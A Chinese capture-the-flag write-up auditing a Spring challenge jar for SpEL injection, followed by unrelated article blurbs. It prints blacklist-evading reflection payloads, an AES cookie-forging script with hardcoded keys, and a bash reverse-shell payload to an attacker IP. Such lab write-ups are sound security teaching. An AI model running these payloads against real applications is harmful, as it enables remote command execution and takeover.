【网络安全 | Java代码审计】Code-Breaking Puzzles-javacon

news/2024/11/15 2:10:35/文章来源:https://www.cnblogs.com/qiushuo/p/18393442

未经许可,不得转载。

源码:https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar,下载至桌面。

考察知识点:SpEL注入

正文

执行命令运行环境:

java -jar C:\Users\86177\Desktop\challenge-0.0.1-SNAPSHOT.jar

浏览器访问localhost:8080

使用JD-GUI反编译,目录结构大致如下:

这是一个spring框架,先分析application.yml文件:

该文件设置了黑名单,主要过滤了任何包含 java.lang 的关键字、Runtime 类、exec 方法;并且配置了默认的用户名密码为admin、admin以及用于 remember-me 功能的密钥。

Spring框架的关键点在于Controller,即控制器,我们看看MainController.java文件实现了什么功能。

文件中,MainController.class定义了ExpressionParser:

该属性在该文件下的getAdvanceValue()函数中会被调用来解析字符串内容:

由此可知,getAdvanceValue()函数是SpEL 注入的触发点。

接着,admin()函数中调用了getAdvanceValue()函数,传递的参数为输入的username的值:

现在让我们跟进username参数,看其在哪个场景下存在SpEL注入。首先看login()函数:

/*     */   @PostMapping({"/login"})
/*     */   public String login(@RequestParam(value = "username", required = true) String username, @RequestParam(value = "password", required = true) String password, @RequestParam(value = "remember-me", required = false) String isRemember, HttpSession session, HttpServletResponse response) {
/*  70 */     if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
/*  71 */       session.setAttribute("username", username);
/*     */       
/*  73 */       if (isRemember != null && !isRemember.equals("")) {
/*  74 */         Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
/*  75 */         c.setMaxAge(2592000);
/*  76 */         response.addCookie(c);
/*     */       } 
/*     */       
/*  79 */       return "redirect:/";
/*     */     } 
/*  81 */     return "redirect:/login-error";
/*     */   }

这里传入了三个参数,包括username、password和remember-me,其中前两个是必须传入的,remember-me是非必须传入的。

在第一个if条件中,通过 this.userConfig.getUsername()this.userConfig.getPassword() 方法从配置中获取用户名和密码,并与请求中的用户名和密码进行比较。如果用户名和密码匹配,则认为用户登录成功。接着使用session.setAttribute("username")将用户名存储在 HTTP 会话中,方便后续的请求使用:

可以看到,只有在username匹配成功的情况下,才能调用session.setAttribute("username"),因此无法将username构造为payload,即无法实现SpEL注入。

接着我们再跟进admin()函数:

先从请求头Cookie中提取remember-me参数的值,当remember-me的值为空时,调用session.getAttribute("username")来获取HTTP会话中username的值,再调用getAdvanceValue()函数来处理username,此时由于username是正确的用户名,因此无法实现SpEL注入:

/*     */     
/*  43 */     Object username = session.getAttribute("username");
/*  44 */     if (username == null || username.toString().equals("")) {
/*  45 */       return "redirect:/login";
/*     */     }
/*     */     
/*  48 */     model.addAttribute("name", getAdvanceValue(username.toString()));
/*  49 */     return "hello";

当remember-me的值不为空时(即登录时勾选了remember-me),使用 decryptRememberMe 方法解密 Cookie 值,并将解密后的值存储在 HTTP 会话中,作为 "username" 属性:

/*     */   public String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue, HttpSession session, Model model) {
/*  36 */     if (rememberMeValue != null && !rememberMeValue.equals("")) {
/*  37 */       String str = this.userConfig.decryptRememberMe(rememberMeValue);
/*  38 */       if (str != null) {
/*  39 */         session.setAttribute("username", str);
/*     */       }
/*     */     } 

可以看到,此时的username可控,可以实现SpEL注入。

因此,我们只需输入admin/admin并勾选remember-me选项,点击登录,然后在请求包中修改Cookie内容即可。

这里注意,需要将proxy及burp的端口修改为8081,防止与本地环境冲突。

由于application.yml文件中过滤了任何包含 java.lang 的关键字、Runtime 类、exec 方法,那该如何构造Payload实现绕过呢?

可以利用 Java 的反射机制来绕过黑名单限制。通过 Class.forName()Method.getMethod() 等重要的方法,可以动态加载和调用方法,而这些方法的参数是字符串,因此可以通过字符串拼接的方式绕过黑名单检查。

构造后的初始Payload如下:

String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"});

在SpEL中,使用T()运算符会调用类作用域的方法和常量。这里需要将Payload修改为满足SpEL的解析格式:

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})}

接着,将该Payload进行加密即可,源代码的加密部分如下:

其中,涉及到三个参数,initVector为c0dehack1nghere1(在ChallengeApplication.java中)、key为0123456789abcdef(在UserConfig.java中)、value为admin。

构造加密脚本:

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;public class ice{public static void main(String[] args){String key="c0dehack1nghere1";String initVector="0123456789abcdef";String value="admin";/*    */     try {/* 15 */       IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));/* 16 */       SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");/*    *//* 18 */       Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");/* 19 */       cipher.init(1, skeySpec, iv);/*    *//* 21 */       byte[] encrypted = cipher.doFinal(value.getBytes());/*    *//* 23 */       System.out.println(Base64.getUrlEncoder().encodeToString(encrypted));/* 24 */     } catch (Exception ex) {/* 28 */       System.out.println(ex.getMessage());/*    */     }}
}

可以看到,value为admin时,加密后的结果与burp中的remember-me参数是一致的,说明加密脚本构造成功。

接着,将admin改为payload即可:

请求包如下:

GET / HTTP/1.1
Host: localhost:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Referer: http://localhost:8080/login;jsessionid=6F134EE0A90DCC7435DDC29F6A6FE9D1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=6F134EE0A90DCC7435DDC29F6A6FE9D1; remember-me=bvik1nAmjEAllRdn5UKWGC9uCj0hW0P2B6k1uigkS1acKxD9b_xNi-x09UGgjU1DvDEI2GGk4Jn0ApM_cSVc0G7kGnvvtewNRVsfqFUCR0fMAPqbj6yqACW6XVtt8Fp1nBwebKd7pkYSZCv6Yj3X7H-0-8HDV6F3sS3yWHUQEBPAyiNmKfkSKUV5VVlNdo16Nij8YX8HvKdeMHJ7_5Sdjfmfq3dKPeUOivMyVp_GdEkffgly4YX4eWCOzQRr4uQgodsKw2pC9N9udnw3Fz7O5ZhzmoYttjLubBowMtkF-Q6HHCvBrK9SWCzRQXC6jqYX_XeqyZuDreUixnpXpzlN9H7gNu6g_wGm_cm_ZTToae358b5MVNWC71uaMEt3PRJl
Connection: close

弹出本地计算器,SpEL注入成功:

构造反弹shell:

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/攻击机IP/端口 0>&1"})}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/791192.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

.NET周刊【9月第1期 2024-09-01】

国内文章 【音视频通话】使用asp.net core 8+vue3 实现高效音视频通话 https://www.cnblogs.com/1996-Chinese-Chen/p/18384394 该文章描述了使用SRS实现音视频通话和共享桌面的经验。从最初使用nginx的RTMP到研究SRS和ZLMediaKit的过程,再到最终实现功能的详细步骤,涵盖了服…

第十讲:怎么给字符串字段加索引?

第十讲:怎么给字符串字段加索引? ​ 现在,几乎所有的系统都支持邮箱登录,如何在邮箱这样的字段上建立合理的索引,是我们今天要讨论的问题。 总概类似邮箱登录系统的长表索引 假设,你现在维护一个支持邮箱登录的系统,用户表是这么定义的: mysql> create table SUser(…

软件工程课程第一次作业

软件工程作业软件工程课程第一次作业这个作业属于哪个课程 https://edu.cnblogs.com/campus/fzu/SE2024这个作业要求在哪里 https://edu.cnblogs.com/campus/fzu/SE2024/homework/13243这个作业的目标 为以后软件工程的学习做准备工作学号 102202156后台博文编辑页面的截图。Lo…

记一次yoga联想电脑黑屏

yoga联想电脑黑屏记一次yoga联想电脑黑屏 下午还好好的,晚上就黑屏了 能开机但是后面就一直黑了网上到处搜半天没搜到合理的解决办法,bios进了,长按电源键20s也试了,之前电脑有一段时间待机一段时间后就会没有wifi,连wifi的设置都没有,后来解决办法是把设备适配器里有一个…

复旦大学王龑团队发布《静态与动态情感的面部表情识别》综述

论文链接:https://arxiv.org/pdf/2408.15777 复旦大学,王龑博士后领衔,发布《静态与动态情感的面部表情识别》(A Survey on Facial Expression Recognition of Static and Dynamic Emotions)综述,对基于图像的静态面部表情识别(SFER)和基于视频的动态面部表情识别(DFE…

IDEA 莫名选中当前光标下的行

发现 IDEA 莫名选中当前行,具体来说,在行与行之间来回点,有时候会选中当前光标所在的行。 还以为是装了什么 plugin 导致的,最后发现是因为钉钉最近上了个 AI 助理的功能:像上图那样取消勾选就没出现这个问题了。

RAM和ROM详解

RAM和ROM详解 前言 RAM与ROM是计算机中常见的存储器类型,它们在数据存储和访问方面扮演着重要的角色。 RAM(Random Access Memory)是一种临时存储器,用于存储计算机正在运行的程序和数据。它具有快速的读写速度和随机访问的特点。 相比之下,ROM(Read-Only Memory)是一种…

相机成相之像距、物距、焦距

物距---被拍摄物体到凸透镜的距离。像距---成像平面到凸透镜的距离。焦点---通过凸透镜的、平行主光轴的光线,在主光轴上的会聚点。焦距---凸透镜中心到焦点的距离。焦距固定的是定焦镜头,焦距可以调节的是变焦镜头。焦距、物距、像距最基本的关系可以用高斯成像公式表示:因…

CSP2024考前集训记录

CSP2024考前集训记录 2024.9.2 上午 高一学长供的题。A题 开考5分钟想到枚举 \(a\) 后再枚举 \(d=\gcd(b,c)\) 后转化为求 \(\varphi(\frac{b+c}{d})\),直接上线性筛。 然后时间复杂度 \(O(n \sqrt n)\),瓶颈在枚举 \(b+c\) 的因数上。 于是后半个比赛全在想怎么优化,想到的…

光学公式(物象位置) 1/u+1/v=1/f

1.透镜成像 由图可以看出 1.物距>2倍焦距:倒立缩小的像2.物距=2倍焦距:倒立等大的像3.物距<2倍焦距 且 >1倍焦距:倒立放大的像4.物距=1倍焦距:不成像5.物距<1倍焦距:倒立放大虚像同时也可以看出成像越大,像距越近。 成实像时,物体和像在透镜两侧;成虚像时,…

南沙信奥老师解题:1352:【例4-13】奖金

​【题目描述】由于无敌的凡凡在2005年世界英俊帅气男总决选中胜出,Yali Company总经理Mr.Z心情好,决定给每位员工发奖金。公司决定以每个人本年在公司的贡献为标准来计算他们得到奖金的多少。 于是Mr.Z下令召开m方会谈。每位参加会谈的代表提出了自己的意见:“我认为员工a的…

MediatR实现高效信息传递,以.net8做demo演示

MediatR 是 .NET 下的一个实现消息传递的库,轻量级、简洁高效,用于实现进程内的消息传递机制。它基于中介者设计模式,支持请求/响应、命令、查询、通知和事件等多种消息传递模式。通过泛型支持,MediatR 可以智能地调度不同类型的消息,非常适合用于领域事件处理。 我们将定…